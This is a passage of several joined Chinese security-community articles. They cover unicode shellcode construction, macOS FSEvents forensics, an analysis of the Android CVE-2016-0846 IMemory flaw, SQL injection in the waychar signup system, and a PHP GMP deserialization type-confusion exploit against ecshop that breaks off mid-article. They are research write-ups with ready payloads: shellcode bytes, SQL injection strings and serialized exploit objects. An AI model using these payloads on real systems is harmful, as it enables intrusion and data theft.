使用XCHG来获取EAX中地址的近似值然，后向EAX中添加一个值，使它移动到我们想要的地方,现在的问题是我们不能使用add
al,r8或者ah,r8，别忘了：
EAX = 0x000000FF + add al,1 = 0x00000000
根据EAX包含的内容，操作会做不同的事情。
因此，我们要进行的操作是：
add eax,0x??00??00
举个例子，我们要将0x1200加给EAX：
0500110001 add eax,0x01001100
05000100FF add eax,0xFF000100
然后我们添加一些数据用来对齐，以便EAX指向我们想要的内容：
例如:
0400 add al,0x0
就很好用。
（N.B.：我们可能也需要一些inc EAX）
这种方法可能需要一些额外的空间（最大128字节，因为我们只能让EAX指向最近的地址mod
0x100，那么我们必须添加对齐字节，因为每个2字节实际上包含了1个缓冲字节，因为添加空字节，我们必须浪费0x100 / 2 = 128字节）
### 2nd idea : a little less lucky
如果没有寄存器指向就近的地址，你可以尝试在堆栈中找到一个。期望你的ESP在发生溢出后不会被破坏。
你只需要使用POP从栈中弹出你找的所需要的地址。 这种方法不能说是一种普遍的办法，但是堆栈内总是包含应用程序在被我们扰乱之前使用的地址。
请注意，您可以使用POPAD弹出EDI，ESI，EBP，EBX，EDX，ECX和EAX。
然后我们使用如上的办法。
### 3rd idea : god forgive me
这里我们假设我们没有任何有趣的寄存器，或者寄存器包含的值可以尝试转变。 而且，这个堆栈里面没有什么可用的东西。
这是一个绝望的情况，我最后的办法是：
取一个具有写入权限的“随机”地址
用3字节补丁
用一个相对位置的calll来调用它
第一步更加需要运气：我们需要在一个可写的区段内找到一个可用的地址，并且这个地址最好是在这个区段的末尾并完全是null或者是类似的东西，因为我们会随机调用。最容易的办法是在.data段里面找到这样的地址，因为这个段通常都比较大而且都会被标记为可读可写。所以这个区域里面进行硬编码不是问题。因此第一步，我们只是在一个地方写上了我们需要的地址，它在哪里并不重要。（N.B.：如果溢出的时候你的某个寄存器指向了一个有效的位置，就不需要这么做了）
在这个例子中我们假设这个地址为0x004F1200:
显而易见，我们很容易让EAX指向这个地址：
B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00
50 push eax
4C dec esp
58 pop eax ; EAX = 0x004F00??
B000 mov al,0x0 ; EAX = 0x004F0000
B9001200AA mov ecx,0xAA001200
00EC add ah,ch
; finally : EAX = 0x004F1200
然后我们修补一下这个可写的内存位置：
pop eax
push eax
ret
在我们调用这个地址之后，我们的EAX就可以指向我们的代码，麻烦的事情解决了。 所以我们来补充一下：
请记住，EAX包含我们正在修补的地址。 我们要做的是先用58 00 C3 00修补，然后将EAX先移1个字节，并将最后一个字节：0x50放在另外两个之间。
（N.B：不要忘记字节数据在堆栈中以相反的顺序被压入）
C7005800C300 mov dword [eax],0x00C30058
40 inc eax
C60050 mov byte [eax],0x50
完成修补。 现在我们要调用这个位置。 不，我说过我们不能使用类似call的指令，但这是一个绝望的情况，所以我们使用相对call：
E800??00!! call (here + 0x!!00??00)
(**)
为了使这种方法可行，在这个例子中你必须修补包含null的大内存部分的末端。然后我们可以调用该区域的任何地方，它将最终执行我们的3字节代码。
在这个调用之后，EAX的地址是（ _**_
），我们可以松一口气，因为现在我们只需要向EAX添加一个我们可以计算的值，因为它只是我们代码的两个偏移量之间的差异。还有，我们不能使用先前的技术向EAX添加字节，因为我们想要添加的值小于0x100。
所以我们不能使用{add eax，imm32}。那我们做点别的事吧：
add dword [eax], byte 0x??
是一个关键，这可以使我们添加一个字节到一个双字。
EAX指向（ _**_ ），所以可以使用这个内存位置来设置新的EAX值并将其放回到EAX中。 我们假设我们想要添加0x？ 到eax：
（N.B：0x ??不能大于0x80，因为：
add dword [eax], byte 0x??
我们使用的是单字，所以如果你加入一个太大的值的话，反而会减少。
0400 ad al,0x0 ; the 0x04 will be overwritten
8900 mov [eax],eax
8300?? add dword [eax],byte 0x??
8B00 mov eax,[eax]
一切准备就绪，现在我们可以按照我们的意愿将EAX指向loop_code的第一个空字节。 我们只需要计算0x？？
（只需计算包括loop_code和call之间的空值在内的字节，你可以算出0x5A）.
## Conclusion
* * *
最后，我们可以制作一个unishellcode，在一个字符转换之后不会被改变。我正在等待其他想法或技术来完成它，我确信还有有很多我没有想过的事情。
* * *
到这里应该清楚shellcode的转换是怎么一回事，接下来就是我实际的调试 | 社区文章 |
# 在OS X平台中利用FSEvents检测并删除恶意文件
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.crowdstrike.com/blog/using-os-x-fsevents-discover-deleted-malicious-artifact/>
译文仅供参考，具体内容表达以及含义原文为准。
在支持OS X
10.7及其以上版本的FSEvemts中，引入了一个能够检测文件目录修改行为的功能。FSEvents能够利用文件系统事件守护进程(fseventsd)提供的数据来对相应的行为操作进行记录；守护进程会将这些文件操作写入每一个卷宗下的日志文件中（日志文件保存在一个名为“.fseventsd”的文件夹中）。应用程序可以利用FSEvents提供的API接口来访问这些日志文件，并获取到修改目录的操作信息，这些信息包括文件的创建，文件的修改，以及文件的删除等操作。
通常情况下，恶意软件在对目标系统进行了非法操作之后，都会尝试清除其行为痕迹，而FSEvents就可以帮助我们发现这些恶意软件，并将相关的恶意文件从我们的系统中彻底删除。利用这一工具，即便是恶意软件已经将其操作痕迹完全清除了，我们也可以找到恶意如案件执行和非法操作的证据。在对FSevents的日志文件进行分析之后，即便是过了很长一段时间，我们仍然可以轻而易举地获取到恶意文件的完整路径，创建和删除的日期。
由于我们可以查看到系统的历史修改记录，所以在此需要注意的是，FSEvents的日志文件并不一定一直存在于.fseventsd文件夹之中，因为这个文件夹仅仅只作为OS
X系统中检测文件系统变化的一个中转区。CrowdStrike的安全研究人员已经成功地在一个普通的系统中观察到了四个月前的非法操作信息。所以，我们将在这篇文章中提供一些关于这一取证神器的基本信息。
当一个FSEventStream创建成功之后，该工具还会创建一些默认的标识符，除此之外，工具还可以通过一些额外的标识符来表示某些类型的操作行为。所有的标识符如下表所示：
－None：默认标识符。如果目录发生了特定的修改操作，工具不会为此操作设置事件标识符。
－MustScanSubDirs：通知应用程序，需要重新扫描受影响的目录以及该目录下的所有子目录。
－UserDropped：在设置标识符的时候发生错误，应用程序需要对目录执行完整的扫描操作。
－KernelDropped：在设置标识符的时候发生错误，应用程序需要对目录执行完整的扫描操作。
－EventldsWrapped：事件ID计数器发生错误，之前的事件ID将无效。
－HistoryDone：设置相应的标识符来表示之前哪些标识符需要忽略。
－RootChanged：当监视目录下发生修改操作时，设置相应的标识符。
－Mount：加载一个需要进行监视的卷宗。
－Unmount：卸载一个不需要进行监视的卷宗。
－ItemCreated：当文件或目录创建成功之后，设置相应的标识符。
－ItemRemoved：当文件或目录删除成功之后，设置相应的标识符。
－ItemInodeMetaMod：当节点元数据发生变化时，设置相应的标识符。
－ItemRenamed：当文件或目录名称修改成功之后，设置相应的标识符。
－ItemModified：当文件或目录修改成功之后，设置相应的标识符。
－ItemFinderInfoMod：文件finder的元数据被修改之后，设置相应的标识符。
－ItemChangeOwner：当文件或目录的所有者发生变化时，设置相应的标识符。
－ItemIsFile：操作对象是一个文件。
－ItemIsDir：操作对象是一个目录。
－ItemIsSymlink：操作对象是一个符号链接。
如何解析FSEvents所记录的日志数据
FSEvents会将日志文件保存在一个名为.fseventsd的文件夹中，而这个文件夹位于每一个卷宗的根目录下。这个文件夹只有root访问权限，并且文件夹中包含有大量gzipped文件。
比如说，/Volumes/Macintosh HD/.fseventsd目录下包含有本地硬盘驱动器的FSEvents日志。
我们往往无法直接从这些文件中获取到有价值的信息，因为事件日志中的数据是以十六进制来表示的。为此，David
Cowen还专门开发了一款基于python的解析工具，这款工具名为“FSEventsParser”，它可以比昂祝我们对FSEvent的日志记录进行解析。
使用FSEvents来删除OS X中的恶意软件
比如说，我们可以使用FSEventsparser来识别类似OS X/Iworm这样的恶意软件。Iworm是OS
X平台下的一款木马，计算机在感染了这一木马之后，攻击者就可以利用社交媒体网站来获取到目标用户的IP地址，然后将这台目标主机与僵尸网络进行连接。
安全研究人员让虚拟机系统感染了Iworm，然后运行FSEventsParser。根据恶意软件的运行机制，它们通常会使用守护进程来作为启动选择。所以我们利用FSEventsParser来对/System/Library/LaunchDaemons/
和/Library/LaunchDaemons这两个目录进行监视。在扫描之后我们发现，2016年2月1日系统创建了一个文件（/Library/LaunchDaemons/com.JawaW.plist）。在对数据进行了过滤处理之后，我们得到的事件标识符为“ItemCreated”，“
ItemModified”，以及“ItemIsfile”。除此之外，系统在当日还创建了一个新文件夹（/Library/Application
Support/JavaW）。
现在，我们已经获取到了恶意文件的创建时间和存储位置。那么接下来我们就可以利用这一工具来对被入侵的系统进行更深入地分析了。
结论
现在，越来越多的企业和机构选择在各自的工作环境中使用Mac终端了，这一趋势使得OS
X平台下的取证分析人员变得更加的炙手可热。FSEvents是一个非常有实用价值的工具，即便是恶意软件已经完全清除了它们的操作痕迹，FSEvents仍然可以帮助我们发现并识别出恶意文件。从这一角度出发，这款工具能够在很多不同的调查取证环境下为分析人员提供有效的帮助。因为在某些特殊情况下，很多其他的工具并不能够发现可供分析的有效证据。 | 社区文章 |
# CVE-2016-0846分析
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**0x01 背景介绍 :**
Google在四月份的Android
Bulletin上公布了CVE-2016-0846,这是由IMemory组件OOB所导致的任意地址读写,根据bulletin对该漏洞的描述,恶意应用可以利用IMemory本地接口的特权提升漏洞,通过一个本地的恶意应用,可获取系统应用的上下文并执行任意代码。
当然Bulletin上的描述是最坏情况下的后果,笔者能力只够利用该洞进行越界读导致crash。该漏洞作者是Project Zero的James
Forshaw,十分珍贵的issue也已公开,且网上也有两个已公开的PoC,分别是Forshaw编写的纯java的PoC以及龚广的cpp编写的PoC,参考资料相当丰富。
**0x02 补丁分析 :**
该洞的补丁补在libs/binder/IMemory.cpp文件内的BpMemory::getMemory函数中,该函数通过remote()获取一个BpBinder代理对象,并调用该对象的transact函数给运行在远程的服务端发送一个GET_MEMORY请求,并将请求返回的结果通过Parcel类型的reply返回。
然而,由于对远程返回结果的过于信任,未打补丁前,直接将size与offset赋给了成员变量mOffset与mSize,而这样做会存在潜在的威胁,详情请接着看后文的分析。打补丁之后,在赋值前先调用getSize()函数获取mHeap的真正堆大小,然后检验Binder调用传回的offset与size的合法性,从而在IMemory的Proxy端避免了越界读写的可能。
补丁信息如下:
@@ -26,6 +26,7 @@
#include <sys/mman.h>
#include <binder/IMemory.h>
+#include <cutils/log.h>
#include <utils/KeyedVector.h>
#include <utils/threads.h>
#include <utils/Atomic.h>
@@ -187,15 +188,26 @@
if (heap != 0) {
mHeap = interface_cast<IMemoryHeap>(heap);
if (mHeap != 0) {
- mOffset = o;
- mSize = s;
+ size_t heapSize = mHeap->getSize();
+ if (s <= heapSize
+ && o >= 0
+ && (static_cast<size_t>(o) <= heapSize - s)) {
+ mOffset = o;
+ mSize = s;
+ } else {
+ // Hm.
+ android_errorWriteWithInfoLog(0x534e4554,
+ "26877992", -1, NULL, 0);
+ mOffset = 0;
+ mSize = 0;
+ }
}
}
}
}
if (offset) *offset = mOffset;
if (size) *size = mSize;
- return mHeap;
+ return (mSize > 0) ? mHeap : 0;
}
// ---------------------------------------------------------------------------
**0x03 类间关系及程序流程分析**
如上补丁所补的BpMemory实则是一个实现了IMemory接口的Binder代理对象,通常程序通过该代理向运行在服务端的MemoryBase发送请求。Android系统提供了MemoryHeapBase与MemoryBase两个C++类,以方便应用程序使用匿名共享内存。其中MemoryBase类是在MemoryHeapBase的基础上实现的,在MemoryBase内部有一个类型为IMemoryHeap的强指针mHeap,它指向一个MemoryHeapBase服务,MemoryBase类通过mOffset与mSize来维护mHeap的一小块匿名共享内存。
class MemoryBase : public BnMemory
{
public:
MemoryBase(const sp<IMemoryHeap>& heap, ssize_t offset, size_t size);
virtual ~MemoryBase();
virtual sp<IMemoryHeap> getMemory(ssize_t* offset, size_t* size) const;
protected:
size_t getSize() const { return mSize; }
ssize_t getOffset() const { return mOffset; }
const sp<IMemoryHeap>& getHeap() const { return mHeap; }
private:
size_t mSize;
ssize_t mOffset;
sp<IMemoryHeap> mHeap;
};
IMemory接口定义了MemoryBase服务接口,它主要包括五个成员函数,fasterPointer、pointer、size、offset及getMemory,前四者由IMemory自己实现,其中pointer、size、offset三个函数最终都调用getMemory函数获取返回结果,而getMemory是一个纯虚函数,由IMemory的子类(MemoryBase)来实现。IMemory接口定义如下:
class IMemory : public IInterface
{
public:
DECLARE_META_INTERFACE(Memory);
virtual sp<IMemoryHeap> getMemory(ssize_t* offset=0, size_t* size=0) const = 0;
// helpers
void* fastPointer(const sp<IBinder>& heap, ssize_t offset) const;
void* pointer() const;
size_t size() const;
ssize_t offset() const;
};
BnMemory及BpMemory两个类均实现了IMemory接口,其中BpMemory是一个运行在Client端的Binder代理类,而BnMemory是运行在Server进程中的本地对象类,BnMemory继续派生出MemoryBase,最终由MemoryBase类实现getMemory函数,因而可以理解为,MemoryBase在实例化之后就成了一个Service组件。
IMemory接口通常被media相关的service使用,Android系统允许通过Binder进程间通信机制来传输IMemory对象,通过在Client端调用getMemory,发送一个GET_MEMORY远程请求,即可返回一个IMemoryHeap类型的匿名共享内存缓冲区。当客户端通过pointer()函数获取指向共享内存区域的指针时,pointer函数直接返回heap->base()+offset,而没有对offset进行检查,如果此处offset+base要大于heap的大小,则会造成越界读,那么代码是否在其他地方做了验证?
void* IMemory::pointer() const {
ssize_t offset;
sp<IMemoryHeap> heap = getMemory(&offset);
void* const base = heap!=0 ? heap->base() : MAP_FAILED;
if (base == MAP_FAILED)
return 0;
return static_cast<char*>(base) + offset; <- No check on IMemoryHeap size
}
查看BpMemory::getMemory的代码,发现它直接从reply中读取出了size与offset,并没有对size与offset进行任何合法性的check:
sp<IMemoryHeap> BpMemory::getMemory(ssize_t* offset, size_t* size) const
{
if (mHeap == 0) {
Parcel data, reply;
data.writeInterfaceToken(IMemory::getInterfaceDescriptor());
if (remote()->transact(GET_MEMORY, data, &reply) == NO_ERROR) {
sp<IBinder> heap = reply.readStrongBinder();
ssize_t o = reply.readInt32();
size_t s = reply.readInt32(); <- No check.
if (heap != 0) {
mHeap = interface_cast<IMemoryHeap>(heap);
if (mHeap != 0) {
mOffset = o;
mSize = s;
}
}
}
}
if (offset) *offset = mOffset;
if (size) *size = mSize;
return mHeap;
}
继续跟进,size与offset由remote()->transact(GETMEMORY,data,&reply)的reply中得到,而发送GETMEMORY请求之后,将调用至MemoryBase::onTransact函数,即BnMemory::onTransact函数,其逻辑如下:
status_t BnMemory::onTransact(
uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags)
{
switch(code) {
case GET_MEMORY: {
CHECK_INTERFACE(IMemory, data, reply);
ssize_t offset;
size_t size;
reply->writeStrongBinder( IInterface::asBinder(getMemory(&offset, &size)) );
reply->writeInt32(offset);
reply->writeInt32(size);
return NO_ERROR;
} break;
default:
return BBinder::onTransact(code, data, reply, flags);
}
}
MemoryBase::getMemory函数逻辑十分简单,直接将MemoryBase的成员变量mOffset、mSize、mHeap返回给调用者,而这三个值均是从MemoryBase对象初始化过程中得到的。
MemoryBase::MemoryBase(const sp<IMemoryHeap>& heap,
ssize_t offset, size_t size)
: mSize(size), mOffset(offset), mHeap(heap)
{
}
sp<IMemoryHeap> MemoryBase::getMemory(ssize_t* offset, size_t* size) const
{
if (offset) *offset = mOffset;
if (size) *size = mSize;
return mHeap;
}
**0x04 PoC构造**
实际上,在确认IMemory完全信任server端回传的数据后,我们可以伪造一个IMemory
Service组件,用它与运行在其他service中的IMemory
Client组件进行通信,并利用其他service对我们指定的heap、offset、size的读写操作来达到对service进程的越界读写。
要达到越界读写效果,要求目标service符合以下几个条件:
1\. 该service通过Binder
IPC接收包含IMemory对象的Parcel,并将IMemory中包含的MemoryHeapBase通过mmap映射到了自己的内存空间。
2\. 该service调用IMemory->pointer()函数,并对其所返回的地址进行了读或写操作。
3\. 在读写操作中,未对共享内存的边界作合法性检验,或者检验可以被绕过。
在Forshaw与oldfresher的PoC中,他们使用的是运行在Media Player
Service中的ICrypto。首先看一看BpCrypto::decrypt()函数,该函数允许用户创建一个IMemory强指针对象,作为sharedBuffer参数传入函数中,同时传入的还有subSample,dstPtr等其他参数,decrypt函数的函数原型如下:
virtual ssize_t decrypt(
bool secure,
const uint8_t key[16],
const uint8_t iv[16],
CryptoPlugin::Mode mode,
const sp<IMemory> &sharedBuffer, size_t offset,
const CryptoPlugin::SubSample *subSamples, size_t numSubSamples,
void *dstPtr,
AString *errorDetailMsg) ;
在decrypt函数中,会将key,iv直接写入Parcel类型的data中,并从subSamples计算出一个sizet类型的totalSize、将dstPtr作为一个uint64t、将sharedMemory作为一个StrongBinder写入data中,并通过remote()->transact(DECRYPT,data,&reply)远程调用,将返回结果写入dstPtr中,如下:
remote()->transact(DECRYPT, data, &reply);
ssize_t result = reply.readInt32();
if (isCryptoError(result)) {
errorDetailMsg->setTo(reply.readCString());
}
if (!secure && result >= 0) {
reply.read(dstPtr, result);
}
跟进到BnCrypto::onTransact的case DECRYPT分支下,在该分支中,将封装在data
Parcel中的数据重新取出,并做一些简单的check,然后交由serice组件的decrypt()函数最终执行。
} else if (totalSize > sharedBuffer->size()) {
result = -EINVAL;
} else if ((size_t)offset > sharedBuffer->size() - totalSize) {
result = -EINVAL;
} else {
result = decrypt(
secure,
key,
iv,
mode,
sharedBuffer, offset,
subSamples, numSubSamples,
secure ? secureBufferId : dstPtr,
&errorDetailMsg);
}
在以上两个check中,sharedBuffer->size()通过调用IMemory::size()返回结果,由前面分析可知,size()中调用了服务端的getMemory,如果service组件可伪造,则该值是可以任意指定的,因而以上两条check可被绕过。
继续跟进,上面的decrypt函数实际为ICrypto函数所声明的纯虚函数,在BnCrypto中没有实现,而是在BnCrypto的子类Crypto中实现的。Crypto类的实现位于
frameworks/av/media/libmediaplayerservice/Crypto.cpp&Crypto.h中,Crypto::decrypt()函数通过调用sharedBuffer->pointer()函数获取匿名
共享内存,并将其与传入的offset参数相加,作为srcPtr传入mPlugin->decrypt函数中,如下所示:
const void *srcPtr = static_cast<uint8_t *>(sharedBuffer->pointer()) + offset;
return mPlugin->decrypt(
secure, key, iv, mode, srcPtr, subSamples, numSubSamples, dstPtr,
errorDetailMsg);
mPlugin是Crypto结构体类型中CryptoPlugin类型的成员变量。CryptoPlugin的实现位于/frameworks/native/include/media/hardware/CryptoAPI.h中,它有两个子类,分别为android::MockCryptoPlugin
与 clearkeydrm::CryptoPlugin,这两者源码在frameworksavdrmmediadrmplugins目录下。
通过查看两个plugin的decrypt代码,我们发现mock plugin的decrypt函数只打了一条LOG,没有做其他事情,而clearkey
plugin的decrypt函数比较有内容:
ssize_t CryptoPlugin::decrypt(bool secure, const KeyId keyId, const Iv iv,
Mode mode, const void* srcPtr,
const SubSample* subSamples, size_t numSubSamples,
void* dstPtr, AString* errorDetailMsg) {
if (secure) {
errorDetailMsg->setTo("Secure decryption is not supported with "
"ClearKey.");
return android::ERROR_DRM_CANNOT_HANDLE;
}
if (mode == kMode_Unencrypted) {
size_t offset = 0;
for (size_t i = 0; i < numSubSamples; ++i) {
const SubSample& subSample = subSamples[i];
if (subSample.mNumBytesOfEncryptedData != 0) {
errorDetailMsg->setTo(
"Encrypted subsamples found in allegedly unencrypted "
"data.");
return android::ERROR_DRM_DECRYPT;
}
if (subSample.mNumBytesOfClearData != 0) {
memcpy(reinterpret_cast<uint8_t*>(dstPtr) + offset,
reinterpret_cast<const uint8_t*>(srcPtr) + offset,
subSample.mNumBytesOfClearData);
offset += subSample.mNumBytesOfClearData;
}
}
return static_cast<ssize_t>(offset);
}else if( mode == kMode_AES_CTR ){
....
}
当secure为假、mode为kMode_Unencrypted时,程序会执行一个memcpy,从共享内存srcPtr中拷贝mNumBytesOfClearData字节的数据至dstPtr,而当服务端被伪造时,srcPtr可以设置成大于共享内存的地址,会造成越界读出共享内存之外的内容,并将内容通过dstPtr会返回给mediaService的Client端。
弄明白上述过程之后,PoC的编写流程即非常清晰了,共需要做两件事情:
1\. 伪造一个实现IMemory接口的service,用以在执行IMemory->pointer()、IMemory->size()时返回指定的值。
2\.
构造调用decrypt函数所需要的各参数,以便最终执行到clearkeydrm::CryptoPlugin::decrypt函数中的memcpy函数。
越界读PoC如下:https://github.com/b0b0505/CVE-2016-0846-PoC/blob/master/mypoc.cpp
在我的PoC中,采用的是如上文中所提到的伪造MemoryBase服务的方法,并重写getMemory函数,参考龚神的地方比较多,Orz膜拜龚神改虚表hook
写PoC的方法。
运行效果如下:
**0x05 参考引用**
1\. <http://androidxref.com/>
2\. <https://github.com/secmob/CVE-2016-0846>
3\. <https://bugs.chromium.org/p/project-zero/issues/detail?id=706>
4\. <https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=226085>
5\. 《Android 系统源代码情景分析》 Binder通信以及匿名共享内存章节 | 社区文章 |
# waychar报名系统VER 0.30 SQL注入复现
## 1\. 前言
在cnvd上看到最新的披露中有waychar报名系统的sql注入，于是想复现看看。
> 漏洞复现环境
> 源码下载地址：<http://down.chinaz.com/soft/39094.htm>
> 使用phpstudy搭载环境
## 2\. 前台登陆处存在SQL注入
### 复现
登陆处，用数据库已有的账号密码登录
抓包，保存为txt文件
sqlmap：
### 分析
`controller/ajax.php` 24-58行
前端传输的`username`参数没有任何的过滤操作就拼接到了sql语句中，导致了sql注入
## 3\. 前台找回密码处存在SQL注入
### 复现
输入数据库中存在的号码
截获数据包，保存为txt文件
使用sqlmap
### 分析
`controller/ajax.php` 12-23行
`mobi`参数没有做任何过滤就传递给`$mobi`变量，然后拼接在sql语句中，导致了sql注入
## 4\. 前台重置密码处延时注入
### 复现
payload：`12345678'and(select*from(select+sleep(5))a/**/union/**/select+1)='`
### 分析
`controller/ajax.php` 100-113行
`password_new`参数没有做任何过滤操作，传递给了`$password_o`变量，并且最后拼接在了SQL语句中
sql语句：`update w_user set password_o = '$password_o', password = '$password'
where id = " . $_COOKIE['id'];`
## 5\. 活动信息处sql注入
### 复现
payload：`/index.php?c=race&action=race_msg&id=57 order by 1,2,3,4,5,6,7`
可以看到是正常显示页面的
payload：`/index.php?c=race&action=race_msg&id=57 order by 1,2,3,4,5,6,7,8`
红框部分的内容消失不见
说明有7个字段
payload：`/index.php?c=race&action=race_msg&id=57 union select
1,2,3,4,5,user(),7`
获得了当前的用户
### 分析
`controller/ajax.php` 136-142行
`id`参数没有过滤，导致了sql注入
## 6\. 后台会员管理搜索处存在SQL注入
密码默认为admin123
会员管理
随便输入一个号码，并抓包
将数据包保存为一个txt
结果
分析：
代码位置：controller/user.php 12-24行
mobi参数没有经过过滤，就拼接到sql语句中，导致了SQL注入
## 7\. 总结
经过复现了6处sql注入，发现源码中基本上对参数都没有做任何过滤操作，导致了整个站中都有SQL注入，感兴趣的可以在官网下载源码来看看。 | 社区文章 |
# 从反序列化到类型混淆漏洞——记一次 ecshop 实例利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：LoRexxar’@知道创宇404实验室
本文初完成于2020年3月31日，由于涉及到0day利用，所以于2020年3月31日报告厂商、CNVD漏洞平台，满足90天漏洞披露期，遂公开。
前几天偶然看到了一篇在Hackerone上提交的漏洞报告，在这个漏洞中，漏洞发现者提出了很有趣的利用，作者利用GMP的一个类型混淆漏洞，配合相应的利用链可以构造mybb的一次代码执行，这里我们就一起来看看这个漏洞。
https://hackerone.com/reports/198734
以下文章部分细节，感谢漏洞发现者@taoguangchen的帮助。
## GMP类型混淆漏洞
https://bugs.php.net/bug.php?id=70513
### 漏洞利用条件
1. php 5.6.x
2. 反序列化入口点
3. 可以触发__wakeup的触发点（在php < 5.6.11以下，可以使用内置类）
### 漏洞详情
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此，攻击者可以将**object转化为整数型或者bool型的ZVAL，那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象，这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性，这可能导致很多问题，在一定场景下也可以导致安全问题。
或许仅凭借代码片段没办法理解上述的话，但我们可以用实际测试来看看。
首先我们来看一段测试代码
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
class b{
var $ryat =1;
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$obj2 = new b;
$obj3 = new stdClass;
$obj3->aa =2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
$obj4 = new stdClass;
var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);
?>
在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么？
array(1) {
[0]=>
&int(1)
}
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(1)
}
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢？
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';
很显然的是，并不会影响到其他的类变量
array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}
如果我们给class b加一个__Wakeup函数，那么又会产生一样的效果。
但如果我们把wakeup魔术方法中的变量设置为2
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 2;
}
}
返回的结果可以看出来，我们成功修改了第二个声明的对象。
array(1) {
[0]=>
&int(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
但如果我们把ryat改为4，那么页面会直接返回500，因为我们修改了没有分配的对象空间。
在完成前面的试验后，我们可以把漏洞的利用条件简化一下。
如果我们有一个可控的反序列化入口，目标后端PHP安装了GMP插件（这个插件在原版php中不是默认安装的，但部分打包环境中会自带），如果我们找到一个可控的__wakeup魔术方法，我们就可以修改反序列化前声明的对象属性，并配合场景产生实际的安全问题。
如果目标的php版本在5.6 <= 5.6.11中，我们可以直接使用内置的魔术方法来触发这个漏洞。
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
## 真实世界案例
在讨论完GMP类型混淆漏洞之后，我们必须要讨论一下这个漏洞在真实场景下的利用方式。
漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。
https://hackerone.com/reports/198734
这里我们不继续讨论这个漏洞，而是从头讨论一下在ecshop中的利用方式。
### 漏洞环境
ecshop 4.0.7
php 5.6.9
### 反序列化漏洞
首先我们需要找到一个反序列化入口点，这里我们可以全局搜索unserialize，挨个看一下我们可以找到两个可控的反序列化入口。
其中一个是search.php line 45
...
{
$string = base64_decode(trim($_GET['encode']));
if ($string !== false)
{
$string = unserialize($string);
if ($string !== false)
...
这是一个前台的入口，但可惜的是引入初始化文件在反序列化之后，这也就导致我们没办法找到可以覆盖类变量属性的目标，也就没办法进一步利用。
还有一个是admin/order.php line 229
/* 取得上一个、下一个订单号 */
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
...
后台的表单页的这个功能就满足我们的要求了，不但可控，还可以用urlencode来绕过ecshop对全局变量的过滤。
这样一来我们就找到了一个可控并且合适的反序列化入口点。
### 寻找合适的类属性利用链
在寻找利用链之前，我们可以用
get_declared_classes()
来确定在反序列化时，已经声明定义过的类。
在我本地环境下，除了PHP内置类以外我一共找到13个类
[129]=>
string(3) "ECS"
[130]=>
string(9) "ecs_error"
[131]=>
string(8) "exchange"
[132]=>
string(9) "cls_mysql"
[133]=>
string(11) "cls_session"
